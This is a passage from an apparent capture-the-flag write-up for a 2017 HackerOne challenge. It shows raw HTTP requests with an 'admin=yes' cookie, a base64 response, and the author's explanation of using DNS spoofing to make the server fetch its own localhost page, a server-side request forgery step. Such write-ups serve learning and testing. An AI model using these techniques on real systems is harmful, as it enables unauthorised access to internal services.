Content-Type: application/json
Content-Length: 30

{"domain":"h1-212.rcesec.com"}

resulted in the following response:

HTTP/1.1 200 OK
Date: Wed, 15 Nov 2017 07:09:19 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 26
Connection: close
Content-Type: text/html; charset=UTF-8

{"next":"\/read.php?id=0"}

Funny side note here: I accidentally bypassed another input filtering which required the subdomain part of the input to the domain parameter to include the string “212”, but I only noticed this by the end of the challenge :-D

So it seems that the application accepted the value and just responded with a reference to a new PHP file (Remember: PHP seems to be Jobert Abma’s favorite programming language ;-) ). When the proposed request was issued against the read.php file:

GET /read.php?id=0 HTTP/1.1
Host: admin.acme.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: admin=yes

The application responded with a huge base64-encoded string:

HTTP/1.1 200 OK
Date: Wed, 15 Nov 2017 07:11:31 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 15109
Connection: close
Content-Type: text/html; charset=UTF-8

{"data":"CjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPgogIDwhLS0KICAgIE1vZGlmaWVkIGZyb20gdGhlIERlYmlhbiBvcmlnaW5hbCBmb3IgVWJ1bnR1CiAgICBMYXN0IHVwZGF0ZWQ6IDIwMTQtMDMtMTkKICAgIFNlZTogaHR0cHM6Ly9sYXVuY2hwYWQubmV0L2J1Z3MvMTI4ODY5MAogIC0tPgogIDxoZWFkPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiIC8+CiAgICA8dGl0bGU+QXBhY2hlMiBVYnVudHUgRGVmYXVsdCBQYWdlOiBJdCB3b3JrczwvdGl0bGU+CiAgICA8c3R5bGUgdHlwZT0idGV4dC9jc3MiIG1lZGlhPSJzY3JlZW4iPgogICogewogICAgbWFyZ2luOiAwcHggMHB4IDBweCAwcHg7CiAgICBwYWRkaW5nOiAwcHggMHB4IDBweCAwcHg7CiAgfQoKICBib2R5LCBodG1sIHsKICAgIHBhZGRpbmc6IDNweCAzcHggM3B4IDNweDsKCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjRDhEQkUyOwoKICAgIGZvbnQtZmFtaWx5OiBWZXJkYW5hLCBzYW5zLXNlcmlmOwogICAgZm9udC1zaXplOiAxMXB0OwogICAgdGV4dC1hbGlnbjogY2VudGVyOwogIH0KCiAgZGl2Lm1haW5fcGFnZSB7CiAgICBwb3NpdGlvbjogcmVsYXRpdmU7CiAgICBkaXNwbGF5OiB0YWJsZTsKCiAgICB3aWR0aDogODAwcHg7CgogICAgbWFyZ2luLWJvdHRvbTogM3B4OwogICAgbWFyZ2luLWxlZnQ6IGF1dG87CiAgICBtYXJnaW4tcmlnaHQ6IGF1dG87CiAgICBwYWRkaW5nOiAwcHggMHB4IDBweCAwcHg7CgogICAgYm9yZGVyLXdpZHRoOiAycHg7CiAgICBib3JkZXItY29sb3I6ICMyMTI3Mzg7CiAgICBib3JkZXItc3R5bGU6IHNvbGlkOwoKICAgIGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkY7CgogICAgdGV4dC1hbGlnbjogY2VudGVyOwogIH0KCiAgZGl2LnBhZ2VfaGVhZGVyIHsKICAgIGhlaWdodDogOTlweDsKICAgIHdpZHRoOiAxMDAlOwoKICAgIGJhY2tncm91bmQtY29sb3I6ICNGNUY2Rjc7CiAgfQoKICBkaXYucGFnZV9oZWFkZXIgc3BhbiB7CiAgICBtYXJnaW46IDE1cHggMHB4IDBweCA1MHB4OwoKICAgIGZvbnQtc2l6ZTogMTgwJTsKICAgIGZvbnQtd2VpZ2h0OiBib2xkOwogIH0KCiAgZGl2LnBhZ2VfaGVhZGVyIGltZyB7CiAgICBtYXJnaW46IDNweCAwcHggMHB4IDQwcHg7CgogICAgYm9yZGVyOiAwcHggMHB4IDBweDsKICB9CgogIGRpdi50YWJsZV9vZl9jb250ZW50cyB7CiAgICBjbGVhcjogbGVmdDsKCiAgICBtaW4td2lkdGg6IDIwMHB4OwoKICAgIG1hcmdpbjogM3B4IDNweCAzcHggM3B4OwoKICAgIGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkY7CgogICAgdGV4dC1hbGlnbjogbGVmdDsKICB9CgogIGRpdi50YWJsZV9vZl9jb250ZW50c19pdGVtIHsKICAgIGNsZWFyOiBsZWZ0OwoKICAgIHdpZHRoOiAxMDAlOwoKICAgIG1hcmdpbjogNHB4IDBweCAwcHggMHB4OwoKICAgIGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkY7CgogICAgY29sb3I6ICMwMDAwMDA7CiAgICB0ZXh0LWFsaWduOiBsZWZ0OwogIH0KCiAgZGl2LnRhYmxlX29mX2NvbnRlbnRzX2l0ZW0gYSB7CiAgICBtYXJnaW46IDZweCAwcHggMHB4IDZweDsKICB9CgogIGRpdi5jb250ZW50X3NlY3Rpb24gewogICAgbWFyZ2luOiAzcHggM3B4IDNweCAzcHg7CgogICAgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRjsKCiAgICB0ZXh0LWFsaWduOiBsZWZ0OwogIH0KCiAgZGl2LmNvbnRlbnRfc2VjdGlvbl90ZXh0IHsKICAgIHBhZGRpbmc6IDRweCA4cHggNHB4IDhweDsKCiAgICBjb2xvcjogIzAwMDAwMDsKICAgIGZvbnQtc2l6ZTogMTAwJTsKICB9CgogIGRpdi5jb250ZW50X3NlY3Rpb25fdGV4dCBwcmUgewogICAgbWFyZ2luOiA4cHggMHB4IDhweCAwcHg7CiAgICBwYWRkaW5nOiA4cHggOHB4IDhweCA4cHg7CgogICAgYm9yZGVyLXdpZHRoOiAxcHg7CiAgICBib3JkZXItc3R5bGU6IGRvdHRlZDsKICAgIGJvcmRlci1jb2xvcjogIzAwMDAwMDsKCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjRjVGNkY3OwoKICAgIGZvbnQtc3R5bGU6IGl0YWxpYzsKICB9CgogIGRpdi5jb250ZW50X3NlY3Rpb25fdGV4dCBwIHsKICAgIG1hcmdpbi1ib3R0b206IDZweDsKICB9CgogIGRpdi5jb250ZW50X3NlY3Rpb25fdGV4dCB1bCwgZGl2LmNvbnRlbnRfc2VjdGlvbl90ZXh0IGxpIHsKICAgIHBhZGRpbmc6IDRweCA4cHggNHB4IDE2cHg7CiAgfQoKICBkaXYuc2VjdGlvbl9oZWFkZXIgewogICAgcGFkZGluZzogM3B4IDZweCAzcHggNnB4OwoKICAgIGJhY2tncm91bmQtY29sb3I6ICM4RTlDQjI7CgogICAgY29sb3I6ICNGRkZGRkY7CiAgICBmb250LXdlaWdodDogYm9sZDsKICAgIGZvbnQtc2l6ZTogMTEyJTsKICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICB9CgogIGRpdi5zZWN0aW9uX2hlYWRlcl9yZWQgewogICAgYmFja2dyb3VuZC1jb2xvcjogI0NEMjE0RjsKICB9CgogIGRpdi5zZWN0aW9uX2hlYWRlcl9ncmV5IHsKICAgIGJhY2tncm91bmQtY29sb3I6ICM5RjkzODY7CiAgfQoKICAuZmxvYXRpbmdfZWxlbWVudCB7CiAgICBwb3NpdGlvbjogcmVsYXRpdmU7CiAgICBmbG9hdDogbGVmdDsKICB9CgogIGRpdi50YWJsZV9vZl9jb250ZW50c19pdGVtIGEsCiAgZGl2LmNvbnRlbnRfc2VjdGlvbl90ZXh0IGEgewogICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOwogICAgZm9udC13ZWlnaHQ6IGJvbGQ7CiAgfQoKICBkaXYudGFibGVfb2ZfY29udGVudHNfaXRlbSBhOmxpbmssCiAgZGl2LnRhYmxlX29mX2NvbnRlbnRzX2l0ZW0gYTp2aXNpdGVkLAogIGRpdi50YWJsZV9vZl9jb250ZW50c19pdGVtIGE6YWN0aXZlIHsKICAgIGNvbG9yOiAjMDAwMDAwOwogIH0KCiAgZGl2LnRhYmxlX29mX2NvbnRlbnRzX2l0ZW0gYTpob3ZlciB7CiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOwoKICAgIGNvbG9yOiAjRkZGRkZGOwogIH0KCiAgZGl2LmNvbnRlbnRfc2VjdGlvbl90ZXh0IGE6bGluaywKICBkaXYuY29udGVudF9zZWN0aW9uX3RleHQgYTp2aXNpdGVkLAogICBkaXYuY29udGVudF9zZWN0aW9uX3RleHQgYTphY3RpdmUgewogICAgYmFja2dyb3VuZC1jb2xvcjogI0RDREZFNjsKCiAgICBjb2xvcjogIzAwMDAwMDsKICB9CgogIGRpdi5jb250ZW50X3NlY3Rpb25fdGV4dCBhOmhvdmVyIHsKICAgIGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7CgogICAgY29sb3I6ICNEQ0RGRTY7CiAgfQoKICBkaXYudmFsaWRhdG9yIHsKICB9CiAgICA8L3N0eWxlPgogIDwvaGVhZD4KICA8Ym9keT4KICAgIDxkaXYgY2xhc3M9Im1haW5fcGFnZSI+CiAgICAgIDxkaXYgY2xhc3M9InBhZ2VfaGVhZGVyIGZsb2F0aW5nX2VsZW1lbnQiPgogICAgICAgIDxpbWcgc3JjPSIvaWNvbnMvdWJ1bnR1LWxvZ28ucG5nIiBhbHQ9IlVidW50dSBMb2dvIiBjbGFzcz0iZmxvYXRpbmdfZWxlbWVudCIvPgogICAgICAgIDxzcGFuIGNsYXNzPSJmbG9hdGluZ19lbGVtZW50Ij4KICAgICAgICAgIEFwYWNoZTIgVWJ1bnR1IERlZmF1bHQgUGFnZQogICAgICAgIDwvc3Bhbj4KICAgICAgPC9kaXY+CjwhLS0gICAgICA8ZGl2IGNsYXNzPSJ0YWJsZV9vZl9jb250ZW50cyBmbG9hdGluZ19lbGVtZW50Ij4KICAgICAgICA8ZGl2IGNsYXNzPSJzZWN0aW9uX2hlYWRlciBzZWN0aW9uX2hlYWRlcl9ncmV5Ij4KICAgICAgICAgIFRBQkxFIE9GIENPTlRFTlRTCiAgICAgICAgPC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0idGFibGVfb2ZfY29udGVudHNfaXRlbSBmbG9hdGluZ19lbGVtZW50Ij4KICAgICAgICAgIDxhIGhyZWY9IiNhYm91dCI+QWJvdXQ8L2E+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0idGFibGVfb2ZfY29udGVudHNfaXRlbSBmbG9hdGluZ19lbGVtZW50Ij4KICAgICAgICAgIDxhIGhyZWY9IiNjaGFuZ2VzIj5DaGFuZ2VzPC9hPgogICAgICAgIDwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9InRhYmxlX29mX2NvbnRlbnRzX2l0ZW0gZmxvYXRpbmdfZWxlbWVudCI+CiAgICAgICAgICA8YSBocmVmPSIjc2NvcGUiPlNjb3BlPC9hPgogICAgICAgIDwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9InRhYmxlX29mX2NvbnRlbnRzX2l0ZW0gZmxvYXRpbmdfZWxlbWVudCI+CiAgICAgICAgICA8YSBocmVmPSIjZmlsZXMiPkNvbmZpZyBmaWxlczwvYT4KICAgICAgICA8L2Rpdj4KICAgICAgPC9kaXY+Ci0tPgogICAgICA8ZGl2IGNsYXNzPSJjb250ZW50X3NlY3Rpb24gZmxvYXRpbmdfZWxlbWVudCI+CgoKICAgICAgICA8ZGl2IGNsYXNzPSJzZWN0aW9uX2hlYWRlciBzZWN0aW9uX2hlYWRlcl9yZWQiPgogICAgICAgICAgPGRpdiBpZD0iYWJvdXQiPjwvZGl2PgogICAgICAgICAgSXQgd29ya3MhCiAgICAgICAgPC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0iY29udGVudF9zZWN0aW9uX3RleHQiPgogICAgICAgICAgPHA+CiAgICAgICAgICAgICAgICBUaGlzIGlzIHRoZSBkZWZhdWx0IHdlbGNvbWUgcGFnZSB1c2VkIHRvIHRlc3QgdGhlIGNvcnJlY3QgCiAgICAgICAgICAgICAgICBvcGVyYXRpb24gb2YgdGhlIEFwYWNoZTIgc2VydmVyIGFmdGVyIGluc3RhbGxhdGlvbiBvbiBVYnVudHUgc3lzdGVtcy4KICAgICAgICAgICAgICAgIEl0IGlzIGJhc2VkIG9uIHRoZSBlcXVpdmFsZW50IHBhZ2Ugb24gRGViaWFuLCBmcm9tIHdoaWNoIHRoZSBVYnVudHUgQXBhY2hlCiAgICAgICAgICAgICAgICBwYWNrYWdpbmcgaXMgZGVyaXZlZC4KICAgICAgICAgICAgICAgIElmIHlvdSBjYW4gcmVhZCB0aGlzIHBhZ2UsIGl0IG1lYW5zIHRoYXQgdGhlIEFwYWNoZSBIVFRQIHNlcnZlciBpbnN0YWxsZWQgYXQKICAgICAgICAgICAgICAgIHRoaXMgc2l0ZSBpcyB3b3JraW5nIHByb3Blcmx5LiBZb3Ugc2hvdWxkIDxiPnJlcGxhY2UgdGhpcyBmaWxlPC9iPiAobG9jYXRlZCBhdAogICAgICAgICAgICAgICAgPHR0Pi92YXIvd3d3L2h0bWwvaW5kZXguaHRtbDwvdHQ+KSBiZWZvcmUgY29udGludWluZyB0byBvcGVyYXRlIHlvdXIgSFRUUCBzZXJ2ZXIuCiAgICAgICAgICA8L3A+CgoKICAgICAgICAgIDxwPgogICAgICAgICAgICAgICAgSWYgeW91IGFyZSBhIG5vcm1hbCB1c2VyIG9mIHRoaXMgd2ViIHNpdGUgYW5kIGRvbid0IGtub3cgd2hhdCB0aGlzIHBhZ2UgaXMKICAgICAgICAgICAgICAgIGFib3V0LCB0aGlzIHByb2JhYmx5IG1lYW5zIHRoYXQgdGhlIHNpdGUgaXMgY3VycmVudGx5IHVuYXZhaWxhYmxlIGR1ZSB0bwogICAgICAgICAgICAgICAgbWFpbnRlbmFuY2UuCiAgICAgICAgICAgICAgICBJZiB0aGUgcHJvYmxlbSBwZXJzaXN0cywgcGxlYXNlIGNvbnRhY3QgdGhlIHNpdGUncyBhZG1pbmlzdHJhdG9yLgogICAgICAgICAgPC9wPgoKICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJzZWN0aW9uX2hlYWRlciI+CiAgICAgICAgICA8ZGl2IGlkPSJjaGFuZ2VzIj48L2Rpdj4KICAgICAgICAgICAgICAgIENvbmZpZ3VyYXRpb24gT3ZlcnZpZXcKICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJjb250ZW50X3NlY3Rpb25fdGV4dCI+CiAgICAgICAgICA8cD4KICAgICAgICAgICAgICAgIFVidW50dSdzIEFwYWNoZTIgZGVmYXVsdCBjb25maWd1cmF0aW9uIGlzIGRpZmZlcmVudCBmcm9tIHRoZQogICAgICAgICAgICAgICAgdXBzdHJlYW0gZGVmYXVsdCBjb25maWd1cmF0aW9uLCBhbmQgc3BsaXQgaW50byBzZXZlcmFsIGZpbGVzIG9wdGltaXplZCBmb3IKICAgICAgICAgICAgICAgIGludGVyYWN0aW9uIHdpdGggVWJ1bnR1IHRvb2xzLiBUaGUgY29uZmlndXJhdGlvbiBzeXN0ZW0gaXMKICAgICAgICAgICAgICAgIDxiPmZ1bGx5IGRvY3VtZW50ZWQgaW4KICAgICAgICAgICAgICAgIC91c3Ivc2hhcmUvZG9jL2FwYWNoZTIvUkVBRE1FLkRlYmlhbi5nejwvYj4uIFJlZmVyIHRvIHRoaXMgZm9yIHRoZSBmdWxsCiAgICAgICAgICAgICAgICBkb2N1bWVudGF0aW9uLiBEb2N1bWVudGF0aW9uIGZvciB0aGUgd2ViIHNlcnZlciBpdHNlbGYgY2FuIGJlCiAgICAgICAgICAgICAgICBmb3VuZCBieSBhY2Nlc3NpbmcgdGhlIDxhIGhyZWY9Ii9tYW51YWwiPm1hbnVhbDwvYT4gaWYgdGhlIDx0dD5hcGFjaGUyLWRvYzwvdHQ+CiAgICAgICAgICAgICAgICBwYWNrYWdlIHdhcyBpbnN0YWxsZWQgb24gdGhpcyBzZXJ2ZXIuCgogICAgICAgICAgPC9wPgogICAgICAgICAgPHA+CiAgICAgICAgICAgICAgICBUaGUgY29uZmlndXJhdGlvbiBsYXlvdXQgZm9yIGFuIEFwYWNoZTIgd2ViIHNlcnZlciBpbnN0YWxsYXRpb24gb24gVWJ1bnR1IHN5c3RlbXMgaXMgYXMgZm9sbG93czoKICAgICAgICAgIDwvcD4KICAgICAgICAgIDxwcmU+Ci9ldGMvYXBhY2hlMi8KfC0tIGFwYWNoZTIuY29uZgp8ICAgICAgIGAtLSAgcG9ydHMuY29uZgp8LS0gbW9kcy1lbmFibGVkCnwgICAgICAgfC0tICoubG9hZAp8ICAgICAgIGAtLSAqLmNvbmYKfC0tIGNvbmYtZW5hYmxlZAp8ICAgICAgIGAtLSAqLmNvbmYKfC0tIHNpdGVzLWVuYWJsZWQKfCAgICAgICBgLS0gKi5jb25mCiAgICAgICAgICA8L3ByZT4KICAgICAgICAgIDx1bD4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgICAgICAgICAgICA8dHQ+YXBhY2hlMi5jb25mPC90dD4gaXMgdGhlIG1haW4gY29uZmlndXJhdGlvbgogICAgICAgICAgICAgICAgICAgICAgICAgICBmaWxlLiBJdCBwdXRzIHRoZSBwaWVjZXMgdG9nZXRoZXIgYnkgaW5jbHVkaW5nIGFsbCByZW1haW5pbmcgY29uZmlndXJhdGlvbgogICAgICAgICAgICAgICAgICAgICAgICAgICBmaWxlcyB3aGVuIHN0YXJ0aW5nIHVwIHRoZSB3ZWIgc2VydmVyLgogICAgICAgICAgICAgICAgICAgICAgICA8L2xpPgoKICAgICAgICAgICAgICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgICAgICAgICAgICA8dHQ+cG9ydHMuY29uZjwvdHQ+IGlzIGFsd2F5cyBpbmNsdWRlZCBmcm9tIHRoZQogICAgICAgICAgICAgICAgICAgICAgICAgICBtYWluIGNvbmZpZ3VyYXRpb24gZmlsZS4gSXQgaXMgdXNlZCB0byBkZXRlcm1pbmUgdGhlIGxpc3RlbmluZyBwb3J0cyBmb3IKICAgICAgICAgICAgICAgICAgICAgICAgICAgaW5jb21pbmcgY29ubmVjdGlvbnMsIGFuZCB0aGlzIGZpbGUgY2FuIGJlIGN1c3RvbWl6ZWQgYW55dGltZS4KICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KCiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uZmlndXJhdGlvbiBmaWxlcyBpbiB0aGUgPHR0Pm1vZHMtZW5hYmxlZC88L3R0PiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgPHR0PmNvbmYtZW5hYmxlZC88L3R0PiBhbmQgPHR0PnNpdGVzLWVuYWJsZWQvPC90dD4gZGlyZWN0b3JpZXMgY29udGFpbgogICAgICAgICAgICAgICAgICAgICAgICAgICBwYXJ0aWN1bGFyIGNvbmZpZ3VyYXRpb24gc25pcHBldHMgd2hpY2ggbWFuYWdlIG1vZHVsZXMsIGdsb2JhbCBjb25maWd1cmF0aW9uCiAgICAgICAgICAgICAgICAgICAgICAgICAgIGZyYWdtZW50cywgb3IgdmlydHVhbCBob3N0IGNvbmZpZ3VyYXRpb25zLCByZXNwZWN0aXZlbHkuCiAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk+CgogICAgICAgICAgICAgICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgIFRoZXkgYXJlIGFjdGl2YXRlZCBieSBzeW1saW5raW5nIGF2YWlsYWJsZQogICAgICAgICAgICAgICAgICAgICAgICAgICBjb25maWd1cmF0aW9uIGZpbGVzIGZyb20gdGhlaXIgcmVzcGVjdGl2ZQogICAgICAgICAgICAgICAgICAgICAgICAgICAqLWF2YWlsYWJsZS8gY291bnRlcnBhcnRzLiBUaGVzZSBzaG91bGQgYmUgbWFuYWdlZAogICAgICAgICAgICAgICAgICAgICAgICAgICBieSB1c2luZyBvdXIgaGVscGVycwogICAgICAgICAgICAgICAgICAgICAgICAgICA8dHQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cDovL21hbnBhZ2VzLmRlYmlhbi5vcmcvY2dpLWJpbi9tYW4uY2dpP3F1ZXJ5PWEyZW5tb2QiPmEyZW5tb2Q8L2E+LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Imh0dHA6Ly9tYW5wYWdlcy5kZWJpYW4ub3JnL2NnaS1iaW4vbWFuLmNnaT9xdWVyeT1hMmRpc21vZCI+YTJkaXNtb2Q8L2E+LAogICAgICAgICAgICAgICAgICAgICAgICAgICA8L3R0PgogICAgICAgICAgICAgICAgICAgICAgICAgICA8dHQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cDovL21hbnBhZ2VzLmRlYmlhbi5vcmcvY2dpLWJpbi9tYW4uY2dpP3F1ZXJ5PWEyZW5zaXRlIj5hMmVuc2l0ZTwvYT4sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cDovL21hbnBhZ2VzLmRlYmlhbi5vcmcvY2dpLWJpbi9tYW4uY2dpP3F1ZXJ5PWEyZGlzc2l0ZSI+YTJkaXNzaXRlPC9hPiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYW5kCiAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0dD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJodHRwOi8vbWFucGFnZXMuZGViaWFuLm9yZy9jZ2ktYmluL21hbi5jZ2k\/cXVlcnk9YTJlbmNvbmYiPmEyZW5jb25mPC9hPiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJodHRwOi8vbWFucGFnZXMuZGViaWFuLm9yZy9jZ2ktYmluL21hbi5jZ2k\/cXVlcnk9YTJkaXNjb25mIj5hMmRpc2NvbmY8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHQ+LiBTZWUgdGhlaXIgcmVzcGVjdGl2ZSBtYW4gcGFnZXMgZm9yIGRldGFpbGVkIGluZm9ybWF0aW9uLgogICAgICAgICAgICAgICAgICAgICAgICA8L2xpPgoKICAgICAgICAgICAgICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgICAgICAgICAgICBUaGUgYmluYXJ5IGlzIGNhbGxlZCBhcGFjaGUyLiBEdWUgdG8gdGhlIHVzZSBvZgogICAgICAgICAgICAgICAgICAgICAgICAgICBlbnZpcm9ubWVudCB2YXJpYWJsZXMsIGluIHRoZSBkZWZhdWx0IGNvbmZpZ3VyYXRpb24sIGFwYWNoZTIgbmVlZHMgdG8gYmUKICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RhcnRlZC9zdG9wcGVkIHdpdGggPHR0Pi9ldGMvaW5pdC5kL2FwYWNoZTI8L3R0PiBvciA8dHQ+YXBhY2hlMmN0bDwvdHQ+LgogICAgICAgICAgICAgICAgICAgICAgICAgICA8Yj5DYWxsaW5nIDx0dD4vdXNyL2Jpbi9hcGFjaGUyPC90dD4gZGlyZWN0bHkgd2lsbCBub3Qgd29yazwvYj4gd2l0aCB0aGUKICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVmYXVsdCBjb25maWd1cmF0aW9uLgogICAgICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgPC91bD4KICAgICAgICA8L2Rpdj4KCiAgICAgICAgPGRpdiBjbGFzcz0ic2VjdGlvbl9oZWFkZXIiPgogICAgICAgICAgICA8ZGl2IGlkPSJkb2Nyb290Ij48L2Rpdj4KICAgICAgICAgICAgICAgIERvY3VtZW50IFJvb3RzCiAgICAgICAgPC9kaXY+CgogICAgICAgIDxkaXYgY2xhc3M9ImNvbnRlbnRfc2VjdGlvbl90ZXh0Ij4KICAgICAgICAgICAgPHA+CiAgICAgICAgICAgICAgICBCeSBkZWZhdWx0LCBVYnVudHUgZG9lcyBub3QgYWxsb3cgYWNjZXNzIHRocm91Z2ggdGhlIHdlYiBicm93c2VyIHRvCiAgICAgICAgICAgICAgICA8ZW0+YW55PC9lbT4gZmlsZSBhcGFydCBvZiB0aG9zZSBsb2NhdGVkIGluIDx0dD4vdmFyL3d3dzwvdHQ+LAogICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cDovL2h0dHBkLmFwYWNoZS5vcmcvZG9jcy8yLjQvbW9kL21vZF91c2VyZGlyLmh0bWwiPnB1YmxpY19odG1sPC9hPgogICAgICAgICAgICAgICAgZGlyZWN0b3JpZXMgKHdoZW4gZW5hYmxlZCkgYW5kIDx0dD4vdXNyL3NoYXJlPC90dD4gKGZvciB3ZWIKICAgICAgICAgICAgICAgIGFwcGxpY2F0aW9ucykuIElmIHlvdXIgc2l0ZSBpcyB1c2luZyBhIHdlYiBkb2N1bWVudCByb290CiAgICAgICAgICAgICAgICBsb2NhdGVkIGVsc2V3aGVyZSAoc3VjaCBhcyBpbiA8dHQ+L3NydjwvdHQ+KSB5b3UgbWF5IG5lZWQgdG8gd2hpdGVsaXN0IHlvdXIKICAgICAgICAgICAgICAgIGRvY3VtZW50IHJvb3QgZGlyZWN0b3J5IGluIDx0dD4vZXRjL2FwYWNoZTIvYXBhY2hlMi5jb25mPC90dD4uCiAgICAgICAgICAgIDwvcD4KICAgICAgICAgICAgPHA+CiAgICAgICAgICAgICAgICBUaGUgZGVmYXVsdCBVYnVudHUgZG9jdW1lbnQgcm9vdCBpcyA8dHQ+L3Zhci93d3cvaHRtbDwvdHQ+LiBZb3UKICAgICAgICAgICAgICAgIGNhbiBtYWtlIHlvdXIgb3duIHZpcnR1YWwgaG9zdHMgdW5kZXIgL3Zhci93d3cuIFRoaXMgaXMgZGlmZmVyZW50CiAgICAgICAgICAgICAgICB0byBwcmV2aW91cyByZWxlYXNlcyB3aGljaCBwcm92aWRlcyBiZXR0ZXIgc2VjdXJpdHkgb3V0IG9mIHRoZSBib3guCiAgICAgICAgICAgIDwvcD4KICAgICAgICA8L2Rpdj4KCiAgICAgICAgPGRpdiBjbGFzcz0ic2VjdGlvbl9oZWFkZXIiPgogICAgICAgICAgPGRpdiBpZD0iYnVncyI+PC9kaXY+CiAgICAgICAgICAgICAgICBSZXBvcnRpbmcgUHJvYmxlbXMKICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJjb250ZW50X3NlY3Rpb25fdGV4dCI+CiAgICAgICAgICA8cD4KICAgICAgICAgICAgICAgIFBsZWFzZSB1c2UgdGhlIDx0dD51YnVudHUtYnVnPC90dD4gdG9vbCB0byByZXBvcnQgYnVncyBpbiB0aGUKICAgICAgICAgICAgICAgIEFwYWNoZTIgcGFja2FnZSB3aXRoIFVidW50dS4gSG93ZXZlciwgY2hlY2sgPGEKICAgICAgICAgICAgICAgIGhyZWY9Imh0dHBzOi8vYnVncy5sYXVuY2hwYWQubmV0L3VidW50dS8rc291cmNlL2FwYWNoZTIiPmV4aXN0aW5nCiAgICAgICAgICAgICAgICBidWcgcmVwb3J0czwvYT4gYmVmb3JlIHJlcG9ydGluZyBhIG5ldyBidWcuCiAgICAgICAgICA8L3A+CiAgICAgICAgICA8cD4KICAgICAgICAgICAgICAgIFBsZWFzZSByZXBvcnQgYnVncyBzcGVjaWZpYyB0byBtb2R1bGVzIChzdWNoIGFzIFBIUCBhbmQgb3RoZXJzKQogICAgICAgICAgICAgICAgdG8gcmVzcGVjdGl2ZSBwYWNrYWdlcywgbm90IHRvIHRoZSB3ZWIgc2VydmVyIGl0c2VsZi4KICAgICAgICAgIDwvcD4KICAgICAgICA8L2Rpdj4KCgoKCiAgICAgIDwvZGl2PgogICAgPC9kaXY+CiAgICA8ZGl2IGNsYXNzPSJ2YWxpZGF0b3IiPgogICAgPC9kaXY+CiAgPC9ib2R5Pgo8L2h0bWw+Cgo="}

What was even more interesting here, is that the listening dnschef actually received a remote DNS lookup request for “h1-212.rcesec.com” just as a consequence of the read.php call, which it successfully spoofed to “127.0.0.1”:

While this was the confirmation that the application actively interacts with the given “domain” value, there was also a second confirmation in form of the base64-encoded string returned in the response body, which was (when decoded) the actual content of the web server listening on “localhost”:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <!--
    Modified from the Debian original for Ubuntu
    Last updated: 2014-03-19
    See: https://launchpad.net/bugs/1288690
  -->
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <title>Apache2 Ubuntu Default Page: It works</title>
    <style type="text/css" media="screen">
  * {
    margin: 0px 0px 0px 0px;
    padding: 0px 0px 0px 0px;
  }
[...]

The Wrong Direction

